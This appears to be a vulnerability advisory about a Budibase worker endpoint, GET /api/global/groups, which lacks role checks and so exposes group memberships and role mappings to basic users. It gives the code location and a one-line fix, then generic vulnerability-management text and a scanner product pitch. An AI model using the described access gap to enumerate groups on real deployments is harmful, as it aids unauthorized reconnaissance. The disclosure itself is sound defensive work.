The GET /api/global/groups endpoint on the worker service has no role-based authorization middleware. Any authenticated user (including BASIC role) can enumerate all user groups in the tenant, including their role mappings, user memberships, builder permissions, and the isDefault flag.

Expected: 403 Forbidden (consistent with GET /api/global/groups/:id which requires builderOrAdmin)
Actual: 200 OK with full group data including role mappings, member lists, and builder flags.
# In the budibase source tree:
grep -A2 'global/groups"' packages/worker/src/api/routes/global/groups.ts
Output shows the list endpoint has NO auth middleware:
.get("/api/global/groups", # <-- NO auth.builderOrAdmin
requireFeature(Feature.USER_GROUPS),
controller.fetch
Compare with the single-group endpoint directly below:
.get("/api/global/groups/:groupId", # <-- HAS auth.builderOrAdmin
auth.builderOrAdmin,
requireFeature(Feature.USER_GROUPS),
controller.getById
File: packages/worker/src/api/routes/global/groups.ts, lines 40-44
The list endpoint is the ONLY group endpoint without RBAC:
| Endpoint | Auth Middleware |
|----------|---------------|
| POST /api/global/groups | auth.adminOnly |
| DELETE /api/global/groups/:id/:rev | auth.adminOnly |
| GET /api/global/groups/:id | auth.builderOrAdmin |
| GET /api/global/groups/:id/users | auth.builderOrAdmin |
| GET /api/global/groups | NONE |
A BASIC-role user can enumerate: all group names/colors/icons, which apps each group accesses and at what role level, user membership lists (user IDs), builder permission flags, and the isDefault flag. This exposes organizational access control structure and aids reconnaissance for privilege escalation.
router.get("/api/global/groups",
+ auth.builderOrAdmin,
requireFeature(Feature.USER_GROUPS),
controller.fetch

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.
CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.
A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. In practice, risk increases sharply when exploitation becomes reliable or widespread.
Recurring findings usually come from incomplete Asset Discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host. Unknown or unmanaged assets (often called Shadow IT) are a common reason the same issues resurface.
Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.
SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.
